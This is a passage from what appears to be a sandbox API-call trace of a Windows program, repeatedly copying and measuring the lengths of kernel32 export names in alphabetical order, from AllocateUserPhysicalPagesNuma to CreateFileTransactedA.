lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.415] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.415] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.415] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.416] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0055.416] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0055.416] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0055.416] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0055.416] lstrlenA (lpString="BACKUPREAD") returned 10 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0055.416] lstrlenA (lpString="BACKUPSEEK") returned 10 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0055.416] lstrlenA (lpString="BACKUPWRITE") returned 11 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0055.416] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.416] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.416] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.416] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.416] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.416] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.416] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.416] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.416] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.416] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.416] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.417] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.417] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.417] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.417] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.417] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.417] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.417] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.417] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.417] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.417] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.417] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.417] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.417] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.417] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.417] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.417] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.417] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.417] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.417] lstrlenA (lpString="BEEP") returned 4 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.418] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.418] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.418] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.418] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.418] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.418] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.418] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.418] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.418] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.418] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.418] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.418] lstrlenA (lpString="CANCELIO") returned 8 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.418] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.418] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.418] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.418] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.418] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.418] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.419] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.419] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.419] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.419] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.419] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.419] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.419] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.419] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.419] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.419] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.419] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.419] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.419] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.419] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.419] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.419] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.419] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.419] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.420] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.420] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.420] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.420] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.420] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.420] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.420] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.420] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.420] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.420] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.420] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.420] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.420] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.420] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.420] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.420] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.420] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.420] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.420] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.421] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.421] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.421] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.421] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.421] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.421] lstrlenA (lpString="COPYFILEA") returned 9 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.421] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.421] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.421] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.421] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.421] lstrlenA (lpString="COPYFILEW") returned 9 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.421] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.421] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.421] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.421] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.421] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.421] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.422] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.422] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.422] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.422] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.422] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.422] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.422] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.422] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.422] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.422] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.422] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.422] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.422] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.422] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.422] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.422] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.422] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.422] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.423] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") 